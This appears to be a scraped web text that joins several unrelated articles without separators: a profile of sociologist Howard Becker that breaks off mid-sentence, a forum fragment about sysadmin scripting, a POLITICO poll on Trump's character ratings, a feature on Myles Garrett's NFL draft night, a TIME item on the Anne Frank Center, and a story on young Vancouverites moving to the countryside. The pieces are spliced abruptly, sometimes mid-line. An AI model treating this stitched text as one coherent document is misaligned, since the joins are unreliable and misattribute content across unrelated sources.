Becker is game to talk about anything. A conversation with him becomes an inimitable spool of bebop piano tips, Chicago history, sociological minutiae, and meditations on French intellectual life, with helpful detours into strip-club culture in the forties and the reasons that French professors think of themselves as civil servants while American ones imagine themselves as entrepreneurs. “I always really wanted to be a piano player,” he begins. “When I was about twelve, I heard boogie-woogie for the first time and fell in love with it. My folks had bought a piano for show, and I bought a book of boogie-woogie and taught myself to play it, more or less. And then I met some kids in the neighborhood—you see, I went to Austin High.” Austin High was the citadel of Chicago jazz, where, in the twenties, Bud Freeman had helped create a form of excited, driven white-folks jazz that remained influential through the swing era. “I got jobs for people who couldn’t afford real musicians—thirteen-year-old kids playing for other thirteen-year-old kids.” Then he got into a better band, which was racially mixed. “That was a big thing,” he says. “Because we were racially mixed, we played only black dances. The kids who were at the black dances, if you didn’t play those pieces exactly the way they were on the record, you were in trouble. So I took lessons from Lennie Tristano. When I met him, he was in his late twenties and had already stopped playing in public—he wouldn’t put up with anything other than perfect playing conditions, with the result that he almost never played.” Tristano, who was a saxophonist as well as a pianist, was the Glenn Gould of bebop: difficult, hypersensitive, reclusive, and hugely gifted. “Instead of teaching ‘freedom,’ or creativity, Tristano taught me a set of practices that create the feeling of what an improvisation ought to sound like,” Becker says. Tristano taught simple ways of solving puzzles that come up in improvising—for instance, ways of adding flatted fifths and minor ninths to otherwise too familiar chord sequences. “He showed how to create an essentially unlimited set of possibilities to work with as I played through an evening in a bar,” Becker recalls. Jazz solos, he learned from his models, were concocted almost entirely “from a small collection of ‘crips,’ short phrases that can be combined in a million ways, subjected to all possible variations.” The lesson that social performance, even of the highest kind, was more a string of crips than an outpouring of confessions remained at the root of Becker’s understanding of the way the world works. Knowing that his father, a first-generation Jewish immigrant, would “have a kitten” at the thought of his son spending his life playing piano in saloons, Becker enrolled in the University of Chicago—then at the height of its Robert Hutchins-era reputation as a citadel of great books and no sports—so that he could be seen to study all day in order to be free to play jazz all night. “I started working strip joints on Clark Street—all the grownups were in the Army. We played the one independent, non-Mob-owned joint. Guys would come in from the hybrid-seed-corn convention and spend three or four thousand dollars buying drinks for the girls. Then they’d go away happy.” He planned to get a graduate degree in English while continuing his jazz life, and then one day he stumbled on a new book, “Black Metropolis: A Study of Negro Life in a Northern City”—the northern city being Chicago—by St. Clair Drake and Horace Cayton. It was one of the first in-depth studies of contemporary urban life. “It was wonderful, the whole idea of being an urban anthropologist!” Becker says. “You could be an anthropologist, a very romantic thing, but you didn’t have to go away to do it. Some of the anthropologists I knew lost half their teeth. Not nice. I thought, Wow! If I just wrote down what I was doing at night, just what everyone said and what I observed, then those were field notes.”
Those “field notes” gathered at the strip clubs and night spots helped inspire a seminal paper of 1953, “Becoming a Marihuana User,” in the American Journal of Sociology. (Asked if he knew so much because he was smoking weed himself, he says, “Yeah. Obviously.” And does he still smoke it? “Yeah. Obviously.”) Becker insists that his accomplishment in the paper was no more than the elimination of a single needless syllable: “Instead of talking about drug abuse, I talked about drug use.” “Deviance” had long been a preoccupation of sociology and its mother field, anthropology. Most “deviance theory” took it for granted that if you did weird things you were a weird person. Normal people made rules—we’ll crap over here, worship over here, have sex like so—which a few deviants in every society couldn’t keep. They clung together in small bands of misbehavior. Becker’s work set out to show that out-groups weren’t made up of people who couldn’t keep the rules; they were made up of people who kept other kinds of rules. Marijuana smoking, too, was a set of crips, a learned activity and a social game. At a time when the general assumption was that drug use was private and compulsive, Becker argued that you had to learn how to get high. Smoking weed, he showed, was most often strange or unpleasant at first. One of his informants (a fellow band member) reported, “I walked around the room, walking around the room trying to get off, you know; it just scared me at first, you know. I wasn’t used to that kind of feeling.” Another musician explained, “You have to just talk them out of being afraid. Keep talking to them, reassuring, telling them it’s all right. And come on with your own story, you know: ‘The same thing happened to me. You’ll get to like that after a while.’ ” In the sociologese that Becker had not yet entirely discarded, he wrote, “Given these typically frightening and unpleasant first experiences, the beginner will not continue use unless he learns to redefine the sensations as pleasurable.” He went on, “This redefinition occurs, typically, in interaction with more experienced users, who, in a number of ways, teach the novice to find pleasure in this experience, which is at first so frightening.” What looked like a deviant act by an escape-seeking individual was simply a communal practice shaped by a common enterprise: it takes a strip club to smoke a reefer. The lessons learned in the night clubs remain present even today. In his new Mozart/Murder book, Becker points out the continuities between the middle-class housewives of the early twentieth century who became addicted to the opium products then sold over the counter for “women’s troubles” and black youths who now take essentially the same kinds of drug, in a different world: “When middle-class women could buy opium, they did, and they got addicted. When they couldn’t, they didn’t. When poor black boys could buy it, they did, and they got addicted, too.” In Becker’s work, a small realism of social scenes replaces the melodrama of personal pathology. Becker also points out that any social group, insider or outsider, ends by divorcing itself from the group it’s supposed to be serving. “Everyone has an ideal student or audience in mind, and we never get them,” he points out. This makes teachers impatient with students, and jazz musicians suspicious of audiences. Jazz musicians smoked weed to get high, but one of the effects was to set them off from the night-club-going customers they despised. “This insight looks original only now,” Becker says. “If you were playing, that was all you heard: ‘Fucking squares, now look what they want!’ I remember learning to leave the stand quickly, before any one could ask me to play ‘Melancholy Baby.’ That was the stuff of every minute of what you were doing.” He adds, “The originality—I shouldn’t even call it that—was to pay attention to it as something worth talking about.” “The bagels—they just keep getting bigger, no?” This insight turned out to apply to a lot more than marijuana smokers. “My dissertation supervisor, Everett Hughes, loved the idea that anything you see in the lowly kind of work is there in privileged work, too, only they don’t talk about it,” he says. “Later on, he went to the American nurses’ association and they hired him as a consultant, and he said, ‘Let’s do some real research: why don’t you talk about how nurses hate patients?’ There was a shocked silence and then someone said, ‘How did you know that?’ ” The influence of Becker’s early work remains profound. A presidential lecture he gave in 1966 at the annual meeting of the Society for the Study of Social Problems, entitled “Whose Side Are We On?,” is still a clarion in the field. Gayle Rubin, a professor of anthropology at Michigan and a leading scholar of L.G.B.T. studies, praises it as a pioneering attempt at “moral levelling,” where the old prudish act of exposing deviants and curing them of deviance changed to the project of finding out what deviants did, and why it was, on inspection, usually no more deviant than what the rest of us did. “That stuff at Chicago in the fifties really lit the way for so much of what came after,” Rubin says. “There’s a real renaissance of it now.” Becker insists that he never entirely intended to stay in academia: “It was only after I finished the Ph.D. that I more or less realized that my choice now was to be the most educated piano player on Sixty-third Street or start taking sociology more seriously.” Suspicious of the administrative details of academic life, he lived on research grants, passing from college campus to institutional setting—“For fourteen or fifteen years, I was what was called a ‘research bum.’ ” Following the lead of his first wife, Nan Harris, who was a ceramic sculptor, he decided to write about the visual arts. “But I had this disability—I couldn’t draw!” he says. Living in San Francisco for a while, he took up photography instead, and was lucky enough to have as the “lab monitor,” who mixed chemicals and helped students, a young woman named Annie Leibovitz. His experiences as a working photographer, like his earlier ones as a working jazzman, illuminated what eventually became his second important book, “Art Worlds” (1982), which advanced a collaborative view of picture-making. Like reefer-smoking among jazz musicians, artmaking was not the business of solitary artists, inspired by visions, but a social enterprise in which a huge range of people played equally essential roles in order to produce an artifact that a social group decided to dignify as art. Art, like weed, exists only within a world.
It was a quarter-century ago, with the publication of “Art Worlds” and “Outsiders” in France, that the strange second act of Becker’s career began. His books became a magnetic pole around which dissident French sociologists could gather. A group of social scientists calling themselves L’École de Chicago de Paris translated “Outsiders,” and saw it become a campus best-seller. (Becker: “I think because it worked well as a textbook, being sort of leftish—really, just unconventional about things like deviance—and easy to read, which was a great combination to give to undergraduates.”) But the book also provided a means to combat the man who, for a generation, had been the dominant figure in French social science, Pierre Bourdieu. Becker’s role as the American not-Bourdieu is so essential to his reputation in France that, in talking about Becker, one invariably also talks about his other. Bourdieu, who died in 2002, was a sociologist whose work—brilliantly disenthralled or grimly determinist, depending on your perspective—explained all social relations as power relations, even in a seemingly open world of “free expression” like the visual arts. For Bourdieu, whose book “Distinction: A Social Critique of the Judgment of Taste” (1979) remains a classic text on the sociology of culture, a dominant class reproduces itself by enforcing firm rules about what is and is not acceptable, and creates a closed, exclusive language to describe it: those who have power decide what counts as art, and to enter that field at all is possible for outsiders only if they learn to repeat the words that construct its values. One of the most agitated debates in French social science today is between Bourdieu’s and Becker’s conceptions of the realm in which our lives take place. Bourdieu believed that all social life takes place in a “field” and Becker insists that it takes place within a “world”—an opposition that irresistibly brings to mind Woody Allen’s remark that while Democritus called the indivisible units of the universe “atoms” Leibniz called them “monads,” and that fortunately the two men never met or there would have been an extremely dull argument. The argument about fields and worlds, as Becker freely admits, is a bit like that one—both are generalized metaphors—but he also thinks it can be saved from a mere dispute over nomenclature. “Bourdieu’ s big idea was the champs, field, and mine was monde, world—what’s the difference?” Becker asks rhetorically. “Bourdieu’s idea of field is kind of mystical. It’s a metaphor from physics. I always imagined it as a zero-sum game being played in a box. The box is full of little things that zing around. And he doesn’t speak about people. He just speaks about forces. There aren’t any people doing anything.” People in Bourdieu’s field are merely atom-like entities. (It was Bourdieu’s vision that helped inspire Michel Houellebecq’s nihilistic novel of the meaningless collisions of modern life, “The Elementary Particles.”) “Mine is a view that—well, it takes a village to write a symphony and get it performed,” Becker goes on. “It’s not just the composer. The great case for me is in film, because nobody ever figured out who the real artist is: the screenwriter or the director or who? Or, rather, everybody figured it out, but never figured out the same thing. Early on when I was reading about art, I read a book by Aljean Harmetz on the making of ‘The Wizard of Oz.’ She was the daughter of someone in the wardrobe department of M-G-M, and she explains that there were four directors of that film, and the guys who thought of the crucial thing, the change from black-and-white to color when the characters enter Oz, were the composer and the lyricist! In an important way, |
/whatever and plug it in" call.
If you know how to script, you can automate those things.
In a few years I can't imagine a system administrator being able to keep their job and/or compete with others if they can't script.
There is an exception, of course: People that do desktop/laptop system administration and general in-office IT service. However those jobs are turning more and more into the equivalent of working at a mobile phone store: helping people is basic equipment problems and customer support. Those jobs pay less than half what a sysadmin normally gets paid.
So... do you want to change jobs to one that cuts your salary in half, or lose your job completely when someone that does know how to script replaces you?
It's your choice.More than three-quarters of Republican voters, 77 percent, approve of the job President Donald Trump is doing as president. | Saul Loerb/AFP/Getty Images Poll: Voters see Trump as reckless, not honest
Reckless. Thin-skinned. Not honest. Not compassionate. Not stable.
Those aren’t just the extraordinary, harsh judgments of President Donald Trump by two retiring, Republican senators on Tuesday — they are also shared by majorities of voters in a new POLITICO/Morning Consult poll.
Story Continued Below
Voters’ negative views of Trump’s character aren’t new. They date back to last year’s presidential campaign. And Trump’s overall approval rating in the new survey — 42 percent approve, 53 percent disapprove — is roughly unchanged over the past few months.
More than three-quarters of Republican voters, 77 percent, approve of the job Trump is doing as president. Indeed, on most of the character questions in this week’s POLITICO/Morning Consult poll, majorities of GOP voters side with Trump, even as the broader pool of voters takes a more critical view. The new survey was conducted before GOP Sens. Bob Corker of Tennessee and Jeff Flake of Arizona sharply criticized Trump on Tuesday for his personal conduct as president.
Still, after a week in which Trump has sparred with the wife and family of an Army sergeant killed in action and been denounced by two high-profile senators in his own party, Trump’s negative scores on these questions raise questions about his ability to overcome voter perceptions and turn his presidency around.
Flake, in a Senate floor speech Tuesday, alluded to Trump’s “reckless, outrageous and undignified” behavior — which he said has been “excused and countenanced” by Republicans. Voters agree Trump is reckless, the poll shows, and it isn’t a new phenomenon.
"As we have seen in past polls, most voters, 56 percent, say President Trump is reckless, while 31 percent disagree," said Morning Consult co-founder and Chief Research Officer Kyle Dropp. "Even among Republicans, 33 percent think this is an accurate characterization — notably higher than the percentage of Republicans that disapprove of the president overall, 20 percent."
The most reliable politics newsletter. Sign up for POLITICO Playbook and get the latest news, every morning — in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
Corker called Trump an “utterly untruthful president” in a tweet on Tuesday morning and later said in a CNN interview that Trump “has great difficulty with the truth, on many issues."
Voters mostly agree with the second-term Tennessee senator here, too. Only 35 percent call Trump honest, while 51 percent say he is not honest. Just a third say Trump is trustworthy, compared to 53 percent who say he is not trustworthy.
Trump’s feud with the family of slain Army Sgt. La David Johnson — and Rep. Frederica Wilson (D-Fla.), a friend of the Johnson family — has led some to question not just Trump’s honesty, but also his compassion. Johnson’s widow, Myeshia Johnson, says a phone call last week from Trump made her “very, very upset and hurt” and “made [her] cry even worse.”
Only 33 percent of voters in the new POLITICO/Morning Consult poll say Trump is compassionate, while 54 percent say he isn’t. A 52 percent majority says Trump is thin-skinned, and 33 percent say he isn't.
The poll was conducted from Oct. 19 to 23 — at the height of the controversy over Trump’s phone call to Myeshia Johnson, but mostly before Johnson confirmed the account herself in a television interview on Monday.
Trump scores poorly on other measures in the poll as well. Only 39 percent of voters say Trump is a strong leader; half say he is not. Just a third say he is stable, while a 54 percent majority say he is not stable.
Half call Trump sexist; only 35 percent say he isn’t sexist. A 45 percent plurality say Trump is racist, and 40 percent say he isn’t.
Voters are split on whether Trump is knowledgeable: 42 percent say he is, but 46 percent say he isn’t.
Only 36 percent of voters say Trump’s administration is running very or somewhat well. The majority, 56 percent, say it is running very or somewhat chaotically.
The poll surveyed 1,988 registered voters and has a margin of error of plus or minus 2 percentage points.
Morning Consult is a nonpartisan media and technology company that provides data-driven research and insights on politics, policy and business strategy.
More details on the poll and its methodology can be found in these two documents — Toplines: http://politi.co/2y4gXyq | Crosstabs: http://politi.co/2h5oGGyIt’s 6:58 p.m. local time on Thursday in Arlington, Texas, and Myles Garrett and his family members have assumed their positions on the couches inside the restaurant turned TV studio in the Tierra Verde Golf Club. Garrett has unloaded his pockets — wallet, phone, and keys attached to a Jurassic Park lanyard — to an awaiting friend and strapped a mic pack onto the back of his black pants. The 2017 NFL draft is scheduled to begin in two minutes, and the cameramen from the NFL Players Association, Fox 4, and CBS 11 are double-checking that every possible movement the star defensive end might make will be captured by all 10 cameras when he’s soon either confirmed as the no. 1 pick or passed over by the Cleveland Browns.
As the buzz of about 100 people in the roughly 1,000-square-foot room fades with nervous anticipation, the Garretts realize that there’s no sound coming from the specially installed 85-inch Aquos Sharp TV. Garrett’s mother, Audrey, needs the issue fixed, so she prods the event manager from the NFLPA, which is using its youngmedia arm at a draft party for the first time and aims to provide future prospects with a way to fully experience the draft even if they don’t attend. As Audrey directs the operation, NFL commissioner Roger Goodell puts the Browns on the clock and Garrett’s brother, Sean Williams, a former NBA player who’s sitting two couches to the left, mouths to Garrett, “You?” Garrett shrugs and whispers: “I hope.” Then, silence.
“Your night, baby!” yells Bob Wager, Garrett’s former coach at James Martin (Texas) High School, breaking it. “Your night!”
The TV’s sound returns just in time to fill the room with ESPN’s exploration of the Browns’ ineptitude everywhere on the field en route to posting a.306 winning percentage since 1999. Garrett stares at the screen impassively. When his own Texas A&M highlight film begins to play, he scratches his head sheepishly.
Garrett retrieves his phone, and it rings. He talks for more than two minutes. With the TV screen still showing the Browns on the clock, someone in the crowd wonders if it’s bad news. Wager, standing about 5 yards from Garrett at 11 o’clock, puts his hands on his knees like he’s coaching from the sideline.
Then Goodell’s voice carries through the speakers, relieving the room: “With the first pick in the 2017 NFL draft, the Cleveland Browns select Myles Garrett.” The room bursts. Six of Garrett’s high school friends thunder along with the roar from the rest of the crowd. His former assistant principal at Martin, Tunya Redvine, shouts and clasps her hands together. His agent, Bus Cook, nods.
Garrett beams, picks himself up from the couch, hugs both his mom and his dad Lawrence, and pulls off his gray Adidas Climalite shirt to reveal a Cleveland shirt that says, “The Heart of Rock ‘n Roll.”
Former star NFL receiver and current ESPN on-site Garrett correspondent Randy Moss, who cursed at himself an hour ago while filming 17 takes for a short Garrett promo, doesn’t stutter or stop during his live spot with Garrett, who says all the right things: Going no. 1 is just one of his goals; support from family and friends made the day special; he wants to change the program in Cleveland.
Yet even as Garrett appreciates the crowning achievement of his life with his friends and family, he’s already focusing on what it will take to make good on his draft slot, to realize his potential.
“You think I’d be thinking about the draft, which I am,” Garrett later tells The Ringer. “But in my head I was like, ‘I’m going to be going against [Browns left tackle] Joe Thomas, one of the best ever, in practice.’ So I’m thinking about how I can beat him. What do I do? How can I get better? What does he do when he goes home? Does he lay in bed with his wife? Of course. But the other times, he’s watching film, he’s doing yoga, he’s keeping his body right, he’s making sure he’s drinking right and eating right. How can I stay one step ahead of that?”
Garrett isn’t the first no. 1 overall pick to stay home instead of attending the NFL draft in person; in 2015, Jameis Winston didn’t travel to Chicago because he wanted to stay with his ailing grandmother. Garrett’s choice caught some by surprise, but he picked Tierra Verde because it was close to his parents’ house and he wanted to spend more time with his friends and family. These were the people who’d supported him, the people he wanted to thank.
Garrett wasn’t worried about suffering an embarrassing greenroom fall; in fact, he says he never doubted that Cleveland would take him first. The Martin High School football booster club had similar confidence. Their flyer for a party at the Arlington bar J. Gilligan’s read, “Martin’s first No. 1 overall NFL draft pick” — and it was produced at least a week before the draft. The NFLPA took a more pragmatic approach. When Garrett stepped out of his Nissan Altima onto the Tierra Verde curb at 6:08 p.m., he saw that the association’s representatives had laid out jerseys for Cleveland, San Francisco, and Chicago, the teams with the top three picks in the draft, on the main couch.
Six hours before Garrett arrived at the golf club, in the Martin football offices overlooking the school’s new, 60-yard indoor practice complex, as Wager hosted recruiters in his office, assistant coaches discussed the national debate over whether Cleveland should select Garrett or North Carolina quarterback Mitchell Trubisky. The Tar Heel, from what they’d read, was accurate and good in the pocket, but suspect for having only 13 games of starting experience. Garrett, meanwhile, had broken Jadeveon Clowney’s SEC freshman sack record and had played through injuries the past two seasons in College Station. The coaches at Garrett’s alma mater quickly reached a consensus.
“Has to be Myles at no. 1, right?”
“Has to be.”
Still, reports indicated that the Browns’ front office had yet to achieve similar clarity, fracturing over whom to take. Garrett had been the presumptive top prospect in this draft class for much of the 2016 college football season, but the narrative began to shift March 2, when Cleveland.com reported that the Browns were seriously considering Trubisky, a Cleveland-area native and former Mr. Ohio Football, first. (He went second, to Chicago, after the Bears traded up a spot to select him.) Trainer Travelle Gaines, who had worked with 41 first-round NFL draft picks and four no. 1 overall players before he began training Garrett, initially dismissed the rumors as smoke screens.
“I’d compare his athletic ability,” Gaines says, “to guys like Terrell Owens, Demaryius Thomas, Reggie Bush, who I trained. Really freakish athletes. You don’t pass on that. His height, weight, speed, strength? I’ve never seen it before.”
Even as the Trubisky chatter mounted, the prevailing opinion among NFL experts remained that Garrett’s size, athleticism, and explosiveness — and his ability to turn into a human Tasmanian devil when he blends those attributes together — made him a special prospect. Indeed, Garrett’s combine measurables juxtaposed with those of All-Pro offensive players read like splashy cutlines from the superhero comics he loves so much: taller than Julio Jones, heavier than Rob Gronkowski, quicker than Devonta Freeman, and faster than Jarvis Landry. With a 41-inch vertical, he outdid Odell Beckham Jr.
The rare knocks against Garrett centered on his run defense and on taking plays off, which he admitted to at the combine. That latter criticism came to a head April 23, when former NFL All-Pro defensive lineman Warren Sapp told ESPN that when he watches Garrett, “I see a lazy kid that makes four plays a game. This is the no. 1 guy? No, no, no.”
When Myles was asked about those comments later on a Facebook Live chat with USA Today, the mic picked up Audrey saying off-camera, “Is he still relevant?” in regards to Sapp. The blog posts ensued.
“I did not know that I was heard,” she later tells The Ringer, “But is he relevant? That still stands for me.”
By late March, shortly after Garrett’s Pro Day and private workout with Cleveland, the Trubisky talk hadn’t dissipated, and Gaines had listened to enough. He called his friend Hue Jackson, now the head coach in Cleveland. Gaines had been wowed by Garrett’s quick response to his mobility drills: lunges, Romanian deadlifts, and one-legged squats. Before Garrett hit 100 pounds, the heaviest single-leg squat Gaines had ever seen was 80 pounds by Pro Bowler Donald Penn, the 315-pound Raiders offensive lineman.
“‘This is the kid, man,’” Gaines remembers saying to Jackson. “‘It should be easy to take him.’ I told Hue … I think it’s a no-brainer to take Myles Garrett.”
After spending one hour with Garrett earlier on draft day, Hall of Fame NFL defensive end Bruce Smith felt the same way. Audrey had surprised Myles by having Smith, his favorite pass rusher, over to the house for an hour to break down her son’s film. Smith recommended firing off the line of scrimmage quicker.
“He was like a sponge,” Smith says. “I really enjoyed spending time with him. He only talked when I asked him questions.” He pauses, chewing a bite of apple cobbler. Then he slowly says, “There’s going to be a great deal of expectation laid upon him.”
Choosing Garrett didn’t just settle the debate about the Browns’ intentions; it represented a philosophical shift for Cleveland. The Browns have picked four quarterbacks in the first round since 1999, when they selected Tim Couch, and only one, Brandon Weeden, has posted a positive career touchdown-to-interception ratio (31–30). Cook, Garrett’s agent, says Cleveland brass told him after signing another client of his, linebacker Jamie Collins, to a four-year, $50 million contract extension in January, that the franchise wanted to focus on defense. And no wonder: Three of the last four Lombardi Trophy winners have fielded the league’s best defense, by either points or yardage.
Garrett says that he isn’t daunted by becoming the face of the changing team. But players who made it through the league want to pass along wisdom, like Smith did. Just before Moss leaves, he pulls Garrett aside and quotes Uncle Ben from Spider-Man. “Remember,” Moss says, “with great power comes great responsibility.”
Garrett leaps into the air and hangs there for a moment, as if shot out of a confetti cannon. He had pantomimed shooting a basket when throwing away his plate after finally sitting down to eat the catered Heads or Tails crawfish and Off the Bone barbecue. They had been inaccessible to him until this moment, at 8:43 p.m., due to the waves of family, friends, and media that consumed his attention all evening. There, on the edge of the patio away from the the building, the crickets drown out the assembled guests. Tierra Verde is a municipal course tucked off highway U.S. 287, where suddenly you can’t see or hear city life. Garrett has mingled for nearly three hours. Everyone has advice and congratulations and picture requests, which he enjoys.
“This is what your wedding will look like,” one woman says to Garrett after he first arrives at Tierra Verde.
“We’ve never met, but we need a selfie,” says, presumably, someone’s plus-one.
“Myles, can you take that picture again?” says nearly everyone throughout the night.
Those interactions best illuminate why Garrett wanted to stay in Texas for the draft. A few people close to him who requested not to be named in this context were disappointed when he decided not to go to Philadelphia. He wouldn’t receive that smile-widening, life-changing phone call while sitting at the greenroom table he’d worked so hard to reach. He wouldn’t walk across the stage, shake the commissioner’s hand, and bask in the lights.
But Garrett didn’t want that if it meant forgoing family. “That’s what everybody’s here for,” Garrett says, “to sink in this last big moment. Hopefully there will be many more big moments, but this one we can still all be together. … Every person in this room had an impact on my life, and they care for me one way or another. It was a sign of appreciation.”
When Garrett was a freshman in high school, assistant coach Anthony Gonzales asked him which college he’d play football for if he had his pick. Garrett quickly said Florida: He’d never been to the state, let alone the school, but the Gators won a lot and looked fun on TV. The next year, Louisiana State and Ohio State came around, and Garrett liked them too. But in the end, the five-star recruit’s decision came down to Texas Christian (a half-hour drive from Arlington) and A&M (three hours).
Family anchored Garrett then, as it does now. In the run-up to the draft, he continued to live in his College Station apartment. He tried boxing at A&M recreational services, walked campus and Kyle Field with fellow former Aggie Von Miller, attended a 90-minute math carnival for elementary schoolers at Martin on a Friday night and played air hockey with two friends at an arcade the night before his Pro Day. Garrett discussed flying to Los Angeles to work out with Gaines, his trainer, but Gaines sensed that Garrett would be more comfortable in Texas, so the two met frequently at Gaines’s then-unopened training facility in Houston.
On the last night of Garrett’s life before beginning his NFL career — before the boy who once quit football because he hated hitting became a professional hitter — he wanted to be in the place and with the people he valued most. Tierra Verde installed live-broadcasting capability, brought in brown suede couches from Hargrove company, and customized the patio, bar, and restaurant not to replicate what Garrett would have seen in Philly, but to feel like a backyard.
“This is by far the most detailed event I’ve ever worked on,” says Regan Wickes, who’s worked Tierra Verde events for five years and once hosted golfer Jordan Spieth. “They want it to feel like a large living room.”
In a green and secluded reserve in the middle of the Dallas metroplex, Garrett built his own oasis. He reconstructed home.
Three hours and 17 minutes after the Cleveland Browns picked him, Garrett sinks into a wooden chair at one of the only tables that hasn’t yet been shifted back into its usual place. The caterers are gone, as is the mock television studio.
When The Ringer profiled Garrett in October, he compared himself to Wally West, the former Kid Flash who had to go from sidekick to superhero. Growing up in a family of athletes, Garrett always saw himself as the younger one overshadowed by their greatness. Thursday night, when the Browns made him the no. 1 pick in the 2017 NFL draft, Garrett, like Wally before him, shed the “kid” label. He officially became the Flash.
“I heard Superman today,” Garrett says about superhero comparisons. “But Superman always does what’s right. Wally’s made mistakes, he’s lived in the shadows of others. He’s had to deal with adjustments. When you get down to it, he’s the most powerful of them all because of it. So yeah, probably, I’ll always be Wally West.”The head of the Anne Frank Center for Mutual Respect on Tuesday slammed President Donald Trump for speaking out against anti-Semitism as “too little” and “too late.”
Trump denounced bigotry and condemned incidents of vandalism and threats targeting Jewish centers across the country during his first tour of the National Museum of African American History and Culture.
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Steven Goldstein, the executive director of the Anne Frank Center, accused the president of only making the comments amid mounting pressure to address anti-Semitism. “The President’s sudden acknowledgement is a Band-Aid on the cancer of anti-Semitism that has infected his own Administration,” Goldstein said in a statement. “Make no mistake: The anti-Semitism coming out of this Administration is the worst we have ever seen from any Administration.”
Goldstein said the White House refused to mention Jews in its Holocaust Remembrance Day statement and noted Trump’s silence when Jewish centers first received bomb threats.
“When President Trump responds to anti-Semitism proactively and in real time, and without pleas and pressure, that’s when we’ll be able to say this President has turned a corner,” he said. “This is not that moment.”
Contact us at editors@time.com.Note: This story first appeared in our sister publication the Westender. To see the original story click here.
Vancouver’s young people are on the move and leaving the city, many of them for their own slice of rural bliss. But unlike the counterculture movement of the '60s and '70s, this generation is trading idealistic utopian goals for the simple pursuit of happiness and economic freedom.
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It’s a view Matt Cavers never gets tired of.
As he pedals to work at the Persephone Brewery in Gibsons down the back roads of the Sunshine Coast, a quick glance up reveals the soaring heights of Mt. Elphinstone looming overhead.
“Seeing that,” he says, “it means so much to me.”
His life today in the rural community is simple and fulfilling. He makes a modest wage as an assistant brewer. He grows fresh vegetables in his backyard.
It couldn’t be further from the life he left behind.
Cavers grew up in Richmond and attended UBC, where, up until a few years ago, his focus was on finishing his PhD in human geography.
“I always assumed I’d make my livelihood in the city,” he says. “The plan was to be an academic or some type of intellectual worker.”
During his Masters program, Cavers began splitting his time between Vancouver and the Sunshine Coast, where his wife Sheena grew up. By 2013, three years into his PhD and with a baby on the way, he decided he wasn’t coming back.
And so Cavers, much to the chagrin of his parents, gave up a bright academic career to drive a delivery truck, paint kegs and brew beer in the country.
“I don’t have a PhD and I don’t care,” says Cavers. “I’m happy, my family is happy. That’s more important.”
Cavers is one of a growing number of young Vancouverites who are fleeing the city not for the suburbs, as in previous generations, but for a humble, bucolic existence in the country.
According to BC Stats, Vancouver has seen young people aged 20 to 30 leave the city in recent years, despite the overall population growing. Between 2010 and 2013, the city saw a net loss of 1,125 young people in that age bracket, while simultaneously growing by more than 20,000 people.
While BC’s rural population fell sharply after a peak of 667,112 in 1996, it has climbed steadily from 2006 to 2011, growing from 602,187 to 609,363, according Statistics Canada’s census data.
For Todd Serious, lead singer of punk rock band The Rebel Spell, the ridiculous cost of living in Vancouver is what prompted him to leave the city behind and move to the tiny town of Lillooet.
According to the Real Estate Board of Greater Vancouver’s year-end stats, the average price for a detached home in the City of Vancouver topped $1 million in 2014. By comparison, Lillooet’s median home price is just $198,000.
“It was a fight to find a place that was affordable [in Vancouver], it was a fight to find a job with so many other qualified people competing for the same job,” says Serious, who is a youth care worker when not on tour with his band. “It wore me out.”
For $600 per month, Serious and his partner rent a two-bedroom detached house sitting on two acres of land, surrounded by nature.
“There’s no mould, no bed bugs, and the landlord’s not going to bulldoze it and build condos,” he says. “We’ve even got a decent garden going.”
Serious says he had no difficulty finding work in town, where he works part-time at the local rec centre.
“As soon as I moved here… I started getting recruited to do jobs, and I could ask for the money I wanted,” he says. “You don’t need to work as much here, and you’re not giving up hours of your day to run errands, because all you have to do is cross the street.”
Today, Serious’ commute is a 10-minute bike ride into town. When he does have to drive – like when his band is on tour, for instance – he has a van that he’s converted to run on recycled vegetable oil.
“I’m much better, healthwise,” Serious says. “I’m outdoors all the time, I spend a lot of time in the mountains.”
Not long after Serious and his partner moved to Lillooet two years ago, his drummer followed suit.
“There’s a little cluster of freaks in town now,” says Serious. “There’s a reconfiguration going on. People are feeling ground down by the city, and they’re starting to realize there’s more out there. Life is a lot less competitive here.”
Of course, if there’s a downside to rural life, it’s the lack of excitement. Unlike Vancouver, there aren’t dozens of bands playing shows at dozens of bars every night, nor are there restaurants open around the clock in every direction.
But small town life is not that bad a deal, Serious insists.
“It’s probably not what you think at all,” he says. “There’s culture reaching out of the city.”
This isn’t the first wave of young people to turn their back on the many trappings of urban life in favour of a simpler rural existence, and it mostly certainly won’t be the last. The counter culture movement of the 1960s and ‘70s saw thousands of young people moving “back to the land” to pursue an idealistic goal of self-sufficiency and environmental connectedness.
But Dona Brown, a history professor from the University of Vermont, says the movement started much earlier.
In her book, Back To the Land: The Enduring Dream of Self-Sufficiency, Brown argues the movement began as early as the 19th century as city dwellers sought an escape from the grind of city life.
The movement has its roots in “a deep lack of confidence in the structures of society as [they] exist, whether that’s [now] or back in 1907, or all these different time periods,” she explains in a recent YouTube interview.
“If you could take some control of your own life in your own hands, you could feel safer and more secure,” Brown says. “It’s almost always been about self-sufficiency.”
While the “hippie” generation may have held lofty utopian goals of starting communes and radically restructuring society, the current crop of young people fleeing the city are, once again, realists. Facing a climate of economic and environmental uncertainty, many young people are exploring self-sufficient rural lifestyles, intent on working less and having more control over their own lives.
Clare Kenny is one of them. A bookseller living in Vancouver, her and her partner began exploring the possibility of leaving the city for an idyllic life in the middle of nowhere almost 10 years ago.
“City living didn’t make any sense to us, we felt like we didn’t have anything more to learn,” she says. “And we felt demoralized about what our culture is doing to the planet.”
Vancouver’s rapidly increasing cost of living meant staying here would be a life of wage slavery. So Kenny and her partner decided to see if it was possible to somehow build a house for free.
“Our culture teaches us to separate our real lives from our work lives and houses are such intimate parts [of our lives]. We live in them and for them. So everyone’s life is structured around a mortgage,” she says. “We wanted to explore other options, but we were urban people, we didn’t have any skills.”
So the couple took a 10-day workshop to learn how to build all-natural cob houses, made from clay, sand, straw and water.
“It totally changed my life,” she says. “It was so incredibly empowering.”
Cob homes can be built for next to nothing, incorporating only the materials found on the building site. They take time and labour, but little in the way of expensive building materials.
“This is something you can do with your hands and feet, you don’t even need power tools,” says Kenny.
Kenny and the other workshop participants decided to pool their efforts and create the Mudgirls Natural Building Collective in an effort to help each other get free of the city and get homesteading. The group is proudly anti-capitalist, and offers workshops, labour and advice on a sliding scale to anyone interested in building a cob house, so they have the power and knowledge to exercise their right to provide themselves with shelter.
“Our approach is more the activist/education model,” says Kenny. “We want you to learn how to do it, and do it for yourself.”
